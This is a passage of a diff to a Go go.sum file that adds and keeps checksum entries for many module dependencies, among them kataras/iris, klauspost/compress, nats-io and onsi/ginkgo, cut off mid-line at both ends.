v2.0.0-alpha1.0.20190420180111-c116219b62db/go.mod h1:bhq50y+xrl9n5mRYyCBFKkpRVTLYJVWeCc+mEAI3yXA= github.com/jackc/pgproto3/v2 v2.0.0-alpha1.0.20190609003834-432c2951c711/go.mod h1:uH0AWtUmuShn0bcesswc4aBTWGvw0cAxIJp+6OB//Wg= @@ -281,8 +1216,10 @@ github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dv github.com/jaswdr/faker v1.16.0 h1:5ZjusQbqIZwJnUymPirNKJI1yFCuozdSR9oeYPgD5Uk= github.com/jaswdr/faker v1.16.0/go.mod h1:x7ZlyB1AZqwqKZgyQlnqEG8FDptmHlncA5u2zY/yi6w= github.com/jonboulle/clockwork v0.1.0/go.mod h1:Ii8DK3G1RaLaWxj9trq07+26W01tbo22gdxWY5EU2bo= +github.com/josharian/intern v1.0.0/go.mod h1:5DoeVV0s6jJacbCEi61lwdGj/aVlrQvzHFFd8Hwg//Y= github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= github.com/json-iterator/go v1.1.6/go.mod h1:+SdeFBvtyEkXs7REEP0seUULqWtbJapLOCVDaaPEHmU= +github.com/json-iterator/go v1.1.9/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.10/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.11/go.mod h1:KdQUCv79m/52Kvf8AW2vK1V8akMuk1QjK/uOdHXbAo4= github.com/json-iterator/go v1.1.12/go.mod h1:e30LSqwooZae/UwlEbR2852Gd8hjQvJoHmT4TnhNGBo= @@ -292,9 +1229,30 @@ github.com/jtolds/gls v4.20.0+incompatible/go.mod h1:QJZ7F/aHp+rZTRtaJ1ow/lLfFfV github.com/juju/gnuflag v0.0.0-20171113085948-2ce1bb71843d/go.mod h1:2PavIy+JPciBPrBUjwbNvtwB6RQlve+hkpll6QSNmOE= github.com/julienschmidt/httprouter v1.2.0/go.mod h1:SYymIcj16QtmaHHD7aYtjjsJG7VTCxuUUipMqKk8s4w= github.com/julienschmidt/httprouter v1.3.0/go.mod h1:JR6WtHb+2LUe8TCKY3cZOxFyyO8IZAc4RVcycCCAKdM= +github.com/jung-kurt/gofpdf v1.0.0/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/jung-kurt/gofpdf v1.0.3-0.20190309125859-24315acbbda5/go.mod h1:7Id9E/uU8ce6rXgefFLlgrJj/GYY22cpxn+r32jIOes= +github.com/kataras/blocks v0.0.7/go.mod h1:UJIU97CluDo0f+zEjbnbkeMRlvYORtmc1304EeyXf4I= +github.com/kataras/golog v0.1.9/go.mod h1:jlpk/bOaYCyqDqH18pgDHdaJab72yBE6i0O3s30hpWY= +github.com/kataras/iris/v12 v12.2.5/go.mod h1:bf3oblPF8tQmRgyPCzPZr0mLazvEDFgImdaGZYuN4hw= +github.com/kataras/jwt v0.1.9/go.mod h1:Kw6GZv2JQN8K4D3NGaSc/qZzTYfaRdyaC2zWi+RBRIQ= +github.com/kataras/neffos v0.0.22/go.mod h1:IIJZcUDvwBxJGlDj942dqQgyznVKYDti91f8Ez+RRxE= +github.com/kataras/pio v0.0.12/go.mod h1:ODK/8XBhhQ5WqrAhKy+9lTPS7sBf6O3KcLhc9klfRcY= +github.com/kataras/sitemap v0.0.6/go.mod h1:dW4dOCNs896OR1HmG+dMLdT7JjDk7mYBzoIRwuj5jA4= +github.com/kataras/tunnel v0.0.4/go.mod h1:9FkU4LaeifdMWqZu7o20ojmW4B7hdhv2CMLwfnHGpYw= +github.com/kballard/go-shellquote v0.0.0-20180428030007-95032a82bc51/go.mod h1:CzGEWj7cYgsdH8dAjBGEr58BoE7ScuLd+fwFZ44+/x8= github.com/kisielk/errcheck v1.1.0/go.mod h1:EZBBE59ingxPouuu3KfxchcWSUPOHkagtvWXihfKN4Q= github.com/kisielk/errcheck v1.5.0/go.mod h1:pFxgyoBC7bSaBwPgfKdkLd5X25qrDl4LWUI2bnpBCr8= github.com/kisielk/gotool v1.0.0/go.mod h1:XhKaO+MFFWcvkIS/tQcRk01m1F5IRFswLeQ+oQHNcck= +github.com/klauspost/asmfmt v1.3.2/go.mod h1:AG8TuvYojzulgDAMCnYn50l/5QV3Bs/tp6j0HLHbNSE= +github.com/klauspost/compress v1.12.3/go.mod h1:8dP1Hq4DHOhN9w426knH3Rhby4rFm6D8eO+e+Dq5Gzg= +github.com/klauspost/compress v1.15.9/go.mod h1:PhcZ0MbTNciWF3rruxRgKxI5NkcHHrHUDtV4Yw2GlzU= +github.com/klauspost/compress v1.15.11/go.mod h1:QPwzmACJjUTFsnSHH934V6woptycfrDDJnH7hvFVbGM= +github.com/klauspost/compress v1.16.5/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= +github.com/klauspost/compress v1.16.7/go.mod h1:ntbaceVETuRiXiv4DpjP66DpAtAGkEQskQzEyD//IeE= +github.com/klauspost/cpuid/v2 v2.0.9/go.mod h1:FInQzS24/EEf25PyTYn52gqo7WaD8xa0213Md/qVLRg= +github.com/klauspost/cpuid/v2 v2.2.4/go.mod h1:RVVoqg1df56z8g3pUjL/3lE5UfnlrJX8tyFgg4nqhuY= +github.com/klauspost/cpuid/v2 v2.2.5/go.mod h1:Lcz8mBdAVJIBVzewtcLocK12l3Y+JytZYpaMropDUws= +github.com/knz/go-libedit v1.10.1/go.mod h1:MZTVkCWyz0oBc7JOWP3wNAzd002ZbM/5hgShxwh4x8M= github.com/konsorten/go-windows-terminal-sequences v1.0.1/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.2/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= github.com/konsorten/go-windows-terminal-sequences v1.0.3/go.mod h1:T0+1ngSBFLxvqU3pZ+m/2kptfBszLMUkC4ZK/EgS/cQ= @@ -302,31 +1260,54 @@ github.com/kr/fs v0.1.0/go.mod h1:FFnZGqtBN9Gxj7eW1uZ42v5BccTP0vu6NEaFoC2HwRg= github.com/kr/logfmt v0.0.0-20140226030751-b84e30acd515/go.mod h1:+0opPa2QZZtGFBFZlji/RkVcI2GknAs/DXo4wKdlNEc= github.com/kr/pretty v0.1.0/go.mod h1:dAy3ld7l9f0ibDNOQOHHMYYIIbhfbHSm3C4ZsoJORNo= github.com/kr/pretty v0.2.0/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.2.1/go.mod h1:ipq/a2n7PKx3OHsz4KJII5eveXtPO4qwEXGdVfWzfnI= +github.com/kr/pretty v0.3.0/go.mod h1:640gp4NfQd8pI5XOwp5fnNeVWj67G7CFk/SaSQn7NBk= github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1/go.mod h1:pFQYn66WHrOpPYNljwOMqo10TkYh1fy3cYio2l3bCsQ= github.com/kr/pty v1.1.8/go.mod h1:O1sed60cT9XZ5uDucP5qwvh+TE3NnUj51EiZO/lmSfw= github.com/kr/text v0.1.0/go.mod h1:4Jbv+DJW3UT/LiOwJeYQe1efqtUx/iVham/4vfdArNI= github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= +github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= +github.com/labstack/echo/v4 v4.11.1/go.mod h1:YuYRTSM3CHs2ybfrL8Px48bO6BAnYIN4l8wSTMP6BDQ= +github.com/labstack/gommon v0.4.0/go.mod h1:uW6kP17uPlLJsD3ijUYn3/M5bAxtlZhMI6m3MFxTMTM= +github.com/leodido/go-urn v1.2.4/go.mod h1:7ZrI8mTSeBSHl/UaRyKQW1qZeMgak41ANeCNaVckg+4= github.com/lib/pq v1.0.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.1.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.2.0/go.mod h1:5WUZQaWbwv1U+lTReE5YruASi9Al49XbQIvNi/34Woo= github.com/lib/pq v1.10.2/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= github.com/lib/pq v1.10.9 h1:YXG7RB+JIjhP29X+OtkiDnYaXQwpS4JEWq7dtCCRUEw= github.com/lib/pq v1.10.9/go.mod h1:AlVN5x4E4T544tWzH6hKfbfQvm3HdbOxrmggDNAPY9o= +github.com/lufia/plan9stats v0.0.0-20211012122336-39d0f177ccd0/go.mod h1:zJYVVT2jmtg6P3p1VtQj7WsuWi/y4VnjVBn7F8KPB3I= +github.com/lyft/protoc-gen-star v0.6.0/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star v0.6.1/go.mod h1:TGAoBVkt8w7MPG72TrKIu85MIdXwDuzJYeZuUPFPNwA= +github.com/lyft/protoc-gen-star/v2 v2.0.1/go.mod h1:RcCdONR2ScXaYnQC5tUzxzlpA3WVYF7/opLeUgcQs/o= github.com/magiconair/properties v1.8.0/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.1/go.mod h1:PppfXfuXeibc/6YijjN8zIbojt8czPbwD3XqdrwzmxQ= github.com/magiconair/properties v1.8.7 h1:IeQXZAiQcpL9mgcAe1Nu6cX9LLw6ExEHKjN0VQdvPDY= github.com/magiconair/properties v1.8.7/go.mod h1:Dhd985XPs7jluiymwWYZ0G4Z61jb3vdS329zhj2hYo0= +github.com/mailgun/raymond/v2 v2.0.48/go.mod h1:lsgvL50kgt1ylcFJYZiULi5fjPBkkhNfj4KA0W54Z18= +github.com/mailru/easyjson v0.7.7/go.mod h1:xzfreul335JAWq5oZzymOObrkdz5UnU4kGfJJLY9Nlc= +github.com/matryer/try v0.0.0-20161228173917-9ac251b645a2/go.mod h1:0KeJpeMD6o+O4hW7qJOT7vyQPKrWmj26uf5wMc/IiIs= +github.com/mattn/go-colorable v0.0.9/go.mod h1:9vuHe8Xs5qXnSaW/c/ABM9alt+Vo+STaOChaDxuIBZU= github.com/mattn/go-colorable v0.1.1/go.mod h1:FuOcm+DKB9mbwrcAfNl7/TZVBZ6rcnceauSikq3lYCQ= +github.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE= github.com/mattn/go-colorable v0.1.6/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= github.com/mattn/go-colorable v0.1.9/go.mod h1:u6P/XSegPjTcexA+o6vUJrdnUu04hMope9wVRipJSqc= +github.com/mattn/go-colorable v0.1.11/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= +github.com/mattn/go-colorable v0.1.12/go.mod h1:u5H1YNBxpqRaxsYJYSkiCWKzEfiAb1Gb520KVy5xxl4= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= +github.com/mattn/go-isatty v0.0.3/go.mod h1:M+lRXTBqGeGNdLjl/ufCoiOlB5xdOkqRJdNxMWT7Zi4= github.com/mattn/go-isatty v0.0.5/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= github.com/mattn/go-isatty v0.0.7/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s= +github.com/mattn/go-isatty v0.0.10/go.mod h1:qgIWMr58cqv1PHHyhnkY9lrL7etaEgOFcMEpPG5Rm84= +github.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE= github.com/mattn/go-isatty v0.0.12/go.mod h1:cbi8OIDigv2wuxKPP5vlRcQ1OAZbq2CE4Kysco4FUpU= github.com/mattn/go-isatty v0.0.14/go.mod h1:7GGIvUiUoEMVVmxf/4nioHXj79iQHKdU27kJ6hsGG94= github.com/mattn/go-isatty v0.0.16/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= +github.com/mattn/go-isatty v0.0.17/go.mod h1:kYGgaQfpe5nmfYZH+SKPsOc2e4SrIfOl2e/yFXSvRLM= github.com/mattn/go-isatty v0.0.19 h1:JITubQf0MOLdlGRuRq+jtsDlekdYPia9ZFsB8h/APPA= github.com/mattn/go-isatty v0.0.19/go.mod h1:W+V8PltTTMOvKvAeJH7IuucS94S2C6jfK/D7dTCTo3Y= github.com/mattn/go-runewidth v0.0.2/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzpuz5H//U1FU= @@ -334,20 +1315,34 @@ github.com/mattn/go-runewidth v0.0.3/go.mod h1:LwmH8dsx7+W8Uxz3IHJYH5QSwggIsqBzp github.com/mattn/go-runewidth v0.0.9/go.mod h1:H031xJmbD/WCDINGzjvQ9THkh0rPKHF+m2gUSrubnMI= github.com/mattn/go-runewidth v0.0.13 h1:lTGmDsbAYt5DmK6OnoV7EuIF1wEIFAcxld6ypU4OSgU= github.com/mattn/go-runewidth v0.0.13/go.mod h1:Jdepj2loyihRzMpdS35Xk/zdY8IAYHsh153qUoGf23w= +github.com/mattn/go-sqlite3 v1.14.14/go.mod h1:NyWgC/yNuGj7Q9rpYnZvas74GogHl5/Z4A/KQRfk6bU= +github.com/mattn/go-sqlite3 v1.14.15/go.mod h1:2eHXhiwb8IkHr+BDWZGa96P6+rkvnG63S2DGjv9HUNg= github.com/mattn/goveralls v0.0.11 h1:eJXea6R6IFlL1QMKNMzDvvHv/hwGrnvyig4N+0+XiMM= github.com/mattn/goveralls v0.0.11/go.mod h1:gU8SyhNswsJKchEV93xRQxX6X3Ei4PJdQk/6ZHvrvRk= github.com/matttproud/golang_protobuf_extensions v1.0.1 h1:4hp9jkHxhMHkqkrB3Ix0jegS5sx/RkqARlsWZ6pIwiU= github.com/matttproud/golang_protobuf_extensions v1.0.1/go.mod h1:D8He9yQNgCq6Z5Ld7szi9bcBfOoFv/3dc6xSMkL2PC0= +github.com/mediocregopher/radix/v3 v3.8.1/go.mod h1:8FL3F6UQRXHXIBSPUs5h0RybMF8i4n7wVopoX3x7Bv8= +github.com/microcosm-cc/bluemonday v1.0.25/go.mod h1:ZIOjCQp1OrzBBPIJmfX4qDYFuhU02nx4bn030ixfHLE= +github.com/miekg/dns v1.1.26/go.mod h1:bPDLeHnStXmXAq1m/Ch/hvfNHr14JKNPMBo3VZKjuso= +github.com/miekg/dns v1.1.41/go.mod h1:p6aan82bvRIyn+zDIv9xYNUpwa73JcSh9BKwknJysuI= +github.com/minio/asm2plan9s v0.0.0-20200509001527-cdd76441f9d8/go.mod h1:mC1jAcsrzbxHt8iiaC+zU4b1ylILSosueou12R++wfY= +github.com/minio/c2goasm v0.0.0-20190812172519-36a3d3bbc4f3/go.mod h1:RagcQ7I8IeTMnF8JTXieKnO4Z6JCsikNEzj0DwauVzE= +github.com/minio/highwayhash v1.0.2/go.mod h1:BQskDq+xkJ12lmlUUi7U0M5Swg3EWR+dLTk+kldvVxY= +github.com/mitchellh/cli v1.0.0/go.mod h1:hNIlj7HEI86fIcpObd7a0FcrxTWetlwJDGcceTlRvqc= +github.com/mitchellh/cli v1.1.0/go.mod h1:xcISNoH86gajksDmfB23e/pu+B+GeFRMYmoHXxx3xhI= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db h1:62I3jR2EmQ4l5rM/4FEfDWcRD+abF5XlKShorW5LRoQ= github.com/mitchellh/colorstring v0.0.0-20190213212951-d06e56a500db/go.mod h1:l0dey0ia/Uv7NcFFVbCLtqEBQbrT4OCwCSKTEv6enCw= github.com/mitchellh/copystructure v1.2.0 h1:vpKXTN4ewci03Vljg/q9QvCGUDttBOGBIa15WveJJGw= github.com/mitchellh/copystructure v1.2.0/go.mod h1:qLl+cE2AmVv+CoeAwDPye/v+N2HKCj9FbZEVFJRxO9s= github.com/mitchellh/go-homedir v1.1.0/go.mod h1:SfyaCUpYCn1Vlf4IUYiD9fPX4A5wJrkLzIz1N1q0pr0= github.com/mitchellh/go-wordwrap v0.0.0-20150314170334-ad45545899c7/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= +github.com/mitchellh/go-wordwrap v1.0.0/go.mod h1:ZXFpozHsX6DPmq2I0TCekCxypsnAUbP2oI0UX1GXzOo= github.com/mitchellh/go-wordwrap v1.0.1 h1:TLuKupo69TCn6TQSyGxwI1EblZZEsQ0vMlAFQflz0v0= github.com/mitchellh/go-wordwrap v1.0.1/go.mod h1:R62XHJLzvMFRBbcrT7m7WgmE1eOyTSsCt+hzestvNj0= +github.com/mitchellh/mapstructure v0.0.0-20160808181253-ca63d7c062ee/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.1.2/go.mod h1:FVVH3fgwuzCH5S8UJGiWEs2h04kUh9fWfEaFds41c1Y= github.com/mitchellh/mapstructure v1.3.2/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= +github.com/mitchellh/mapstructure v1.4.1/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/mapstructure v1.5.0 h1:jeMsZIYE/09sWLaz43PL7Gy6RuMjD2eJVyuac5Z2hdY= github.com/mitchellh/mapstructure v1.5.0/go.mod h1:bFUtVrKA4DC2yAKiSyO/QUcy7e+RRV2QTWOzhPopBRo= github.com/mitchellh/reflectwalk v1.0.2 h1:G2LzWKi524PWgd3mLHV8Y5k7s6XUvT0Gef6zxSIeXaQ= @@ -361,9 +1356,20 @@ github.com/mwitkow/go-conntrack v0.0.0-20161129095857-cc309e4a2223/go.mod h1:qRW github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007 h1:28i1IjGcx8AofiB4N3q5Yls55VEaitzuEPkFJEVgGkA= github.com/mwitkow/go-proto-validators v0.0.0-20180403085117-0950a7990007/go.mod h1:m2XC9Qq0AlmmVksL6FktJCdTYyLk7V3fKyp0sl1yWQo= +github.com/nats-io/jwt/v2 v2.3.0/go.mod h1:0tqz9Hlu6bCBFLWAASKhE5vUA4c24L9KPUUgvwumE/k= +github.com/nats-io/jwt/v2 v2.4.1/go.mod h1:24BeQtRwxRV8ruvC4CojXlx/WQ/VjuwlYiH+vu/+ibI= +github.com/nats-io/nats-server/v2 v2.9.11/go.mod h1:b0oVuxSlkvS3ZjMkncFeACGyZohbO4XhSqW1Lt7iRRY= +github.com/nats-io/nats.go v1.19.0/go.mod h1:tLqubohF7t4z3du1QDPYJIQQyhb4wl6DhjxEajSI7UA= +github.com/nats-io/nats.go v1.28.0/go.mod h1:XpbWUlOElGwTYbMR7imivs7jJj9GtK7ypv321Wp6pjc= +github.com/nats-io/nkeys v0.3.0/go.mod h1:gvUNGjVcM2IPr5rCsRsC6Wb3Hr2CQAm08dsxtV6A5y4= +github.com/nats-io/nkeys v0.4.4/go.mod h1:XUkxdLPTufzlihbamfzQ7mw/VGx6ObUs+0bN5sNvt64= +github.com/nats-io/nuid v1.0.1/go.mod h1:19wcPz3Ph3q0Jbyiqsd0kePYG7A95tJPxeL+1OSON2c= +github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno= github.com/nsf/termbox-go v0.0.0-20190121233118-02980233997d/go.mod h1:IuKpRQcYE1Tfu+oAQqaLisqDeXgjyyltCfsaoYN18NQ= github.com/nsf/termbox-go v1.1.1 h1:nksUPLCb73Q++DwbYUBEglYBRPZyoXJdrj5L+TkjyZY= github.com/nsf/termbox-go v1.1.1/go.mod h1:T0cTdVuOwf7pHQNtfhnEbzHbcNyCEcVU4YPpouCbVxo= +github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A= +github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU= github.com/o1egl/paseto v1.0.0 h1:bwpvPu2au176w4IBlhbyUv/S5VPptERIA99Oap5qUd0= github.com/o1egl/paseto v1.0.0/go.mod h1:5HxsZPmw/3RI2pAwGo1HhOOwSdvBpcuVzO7uDkm+CLU= github.com/oapi-codegen/runtime v1.0.0 h1:P4rqFX5fMFWqRzY9M/3YF9+aPSPPB06IzP2P7oOxrWo= @@ -371,21 +1377,66 @@ github.com/oapi-codegen/runtime v1.0.0/go.mod h1:LmCUMQuPB4M/nLXilQXhHw+BLZdDb18 github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U= github.com/olekukonko/tablewriter v0.0.5 h1:P2Ga83D34wi1o9J6Wh1mRuqd4mF/x/lgBS7N7AbDhec= github.com/olekukonko/tablewriter v0.0.5/go.mod h1:hPp6KlRPjbx+hW8ykQs1w3UBbZlj6HuIJcUGPhkA7kY= +github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE= +github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk= +github.com/onsi/ginkgo v1.16.4/go.mod h1:dX+/inL/fNMqNlz0e9LfyB9TswhZpCVdJM/Z6Vvnwo0= +github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU= +github.com/onsi/ginkgo/v2 v2.1.3/go.mod h1:vw5CSIxN1JObi/U8gcbwft7ZxR2dgaR70JSE3/PpL4c= +github.com/onsi/ginkgo/v2 v2.1.4/go.mod h1:um6tUpWM/cxCK3/FK8BXqEiUMUwRgSM4JXG47RKZmLU= +github.com/onsi/ginkgo/v2 v2.1.6/go.mod h1:MEH45j8TBi6u9BMogfbp0stKC5cdGjumZj5Y7AG4VIk= +github.com/onsi/ginkgo/v2 v2.3.0/go.mod h1:Eew0uilEqZmIEZr8JrvYlvOM7Rr6xzTmMV8AyFNU9d0= +github.com/onsi/ginkgo/v2 v2.4.0/go.mod h1:iHkDK1fKGcBoEHT5W7YBq4RFWaQulw+caOMkAt4OrFo= +github.com/onsi/ginkgo/v2 v2.5.0/go.mod h1:Luc4sArBICYCS8THh8v3i3i5CuSZO+RaQRaJoeNwomw= +github.com/onsi/ginkgo/v2 v2.7.0/go.mod h1:yjiuMwPokqY1XauOgju45q3sJt6VzQ/Fict1LFVcsAo= +github.com/onsi/ginkgo/v2 v2.8.1/go.mod h1:N1/NbDngAFcSLdyZ+/aYTYGSlq9qMCS/cNKGJjy+csc= +github.com/onsi/ginkgo/v2 v2.9.0/go.mod h1:4xkjoL/tZv4SMWeww56BU5kAt19mVB47gTWxmrTcxyk= +github.com/onsi/ginkgo/v2 v2.9.1/go.mod h1:FEcmzVcCHl+4o9bQZVab+4dC9+j+91t2FHSzmGAPfuo= +github.com/onsi/ginkgo/v2 v2.9.2/go.mod h1:WHcJJG2dIlcCqVfBAwUCrJxSPFb6v4azBwgxeMeDuts= +github.com/onsi/ginkgo/v2 v2.9.5/go.mod h1:tvAoo1QUJwNEU2ITftXTpR7R1RbCzoZUOs3RonqW57k= +github.com/onsi/ginkgo/v2 v2.9.7/go.mod h1:cxrmXWykAwTwhQsJOPfdIDiJ+l2RYq7U8hFU+M/1uw0= +github.com/onsi/ginkgo/v2 v2.11.0/go.mod h1:ZhrRA5XmEE3x3rhlzamx/JJvujdZoJ2uvgI7kR0iZvM= +github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY= +github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo= +github.com/onsi/gomega v1.17.0/go.mod h1:HnhC7FXeEQY45zxNK3PPoIUhzk/80Xly9PcubAlGdZY= +github.com/onsi/gomega v1.19.0/go.mod h1:LY+I3pBVzYsTBU1AnDwOSxaYi9WoWiqgwooUqq9yPro= +github.com/onsi/gomega v1.20.1/go.mod h1:DtrZpjmvpn2mPm4YWQa0/ALMDj9v4YxLgojwPeREyVo= +github.com/onsi/gomega v1.21.1/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc= +github.com/onsi/gomega v1.22.1/go.mod h1:x6n7VNe4hw0vkyYUM4mjIXx3JbLiPaBPNgB7PRQ1tuM= +github.com/onsi/gomega v1.24.0/go.mod h1:Z/NWtiqwBrwUt4/2loMmHL63EDLnYHmVbuBpDr2vQAg= +github.com/onsi/gomega v1.24.1/go.mod h1:3AOiACssS3/MajrniINInwbfOOtfZvplPzuRSmvt1jM= +github.com/onsi/gomega v1.26.0/go.mod h1:r+zV744Re+DiYCIPRlYOTxn0YkOLcAnW8k1xXdMPGhM= +github.com/onsi/gomega v1.27.1/go.mod h1:aHX5xOykVYzWOV4WqQy0sy8BQptgukenXpCXfadcIAw= +github.com/onsi/gomega v1.27.3/go.mod h1:5vG284IBtfDAmDyrK+eGyZmUgUlmi+Wngqo557cZ6Gw= +github.com/onsi/gomega v1.27.4/go.mod h1:riYq/GJKh8hhoM01HN6Vmuy93AarCXCBGpvFDK3q3fQ= +github.com/onsi/gomega v1.27.6/go.mod h1:PIQNjfQwkP3aQAH7lf7j87O/5FiNr+ZR8+ipb+qQlhg= +github.com/onsi/gomega v1.27.7/go.mod h1:1p8OOlwo2iUUDsHnOrjE5UKYJ+e3W8eQ3qSlRahPmr4= +github.com/onsi/gomega v1.27.8/go.mod h1:2J8vzI/s+2shY9XHRApDkdgPo1TKT7P2u6fXeJKFnNQ= +github.com/onsi/gomega v1.27.10/go.mod h1:RsS8tutOdbdgzbPtzzATp12yT7kM5I5aElG3evPbQ0M= github.com/opentracing/opentracing-go v1.1.0/go.mod h1:UkNAQd3GIcIGf0SeVgPpRdFStlNbqXla1AfSYxPUl2o= github.com/ory/go-acc v0.2.8 h1:rOHHAPQjf0u7eHFGWpiXK+gIu/e0GRSJNr9pDukdNC4= github.com/ory/go-acc v0.2.8/go.mod h1:iCRZUdGb/7nqvSn8xWZkhfVrtXRZ9Wru2E5rabCjFPI= github.com/ory/viper v1.7.5 h1:+xVdq7SU3e1vNaCsk/ixsfxE4zylk1TJUiJrY647jUE= github.com/ory/viper v1.7.5/go.mod h1:ypOuyJmEUb3oENywQZRgeAMwqgOyDqwboO1tj3DjTaM= +github.com/pascaldekloe/goe v0.0.0-20180627143212-57f6aae5913c/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= +github.com/pascaldekloe/goe v0.1.0/go.mod h1:lzWF7FIEvWOWxwDKqyGYQf6ZUaNfKdP144TG7ZOy1lc= github.com/pborman/uuid v1.2.0 h1:J7Q5mO4ysT1dv8hyrUGHb9+ooztCXu1D8MY8DZYsu3g= github.com/pborman/uuid v1.2.0/go.mod h1:X/NO0urCmaxf9VXbdlT7C2Yzkj2IKimNn4k+gtPdI/k= github.com/pelletier/go-toml v1.2.0/go.mod h1:5z9KED0ma1S8pY6P1sdut58dfprrGBbd/94hg7ilaic= github.com/pelletier/go-toml v1.8.0/go.mod h1:D6yutnOGMveHEPV7VQOuvI/gXY61bv+9bAOTRnLElKs= github.com/pelletier/go-toml v1.9.5 h1:4yBQzkHv+7BHq2PQUZF3Mx0IYxG7LsP222s7Agd3ve8= github.com/pelletier/go-toml v1.9.5/go.mod h1:u1nR/EPcESfeI/szUZKdtJ0xRNbUoANCkoOuaOx1Y+c= +github.com/pelletier/go-toml/v2 v2.0.6/go.mod h1:eumQOmlWiOPt5WriQQqoM5y18pDHwha2N+QD+EUNTek= +github.com/pelletier/go-toml/v2 v2.0.8/go.mod h1:vuYfssBdrU2XDZ9bYydBu6t+6a6PYNcZljzZR9VXg+4= github.com/pelletier/go-toml/v2 v2.0.9 h1:uH2qQXheeefCCkuBBSLi7jCiSmj3VRh2+Goq2N7Xxu0= github.com/pelletier/go-toml/v2 v2.0.9/go.mod h1:tJU2Z3ZkXwnxa4DPO899bsyIoywizdUvyaeZurnPPDc= github.com/peterh/liner v1.2.1 h1:O4BlKaq/LWu6VRWmol4ByWfzx6MfXc5Op5HETyIy5yg= github.com/peterh/liner v1.2.1/go.mod 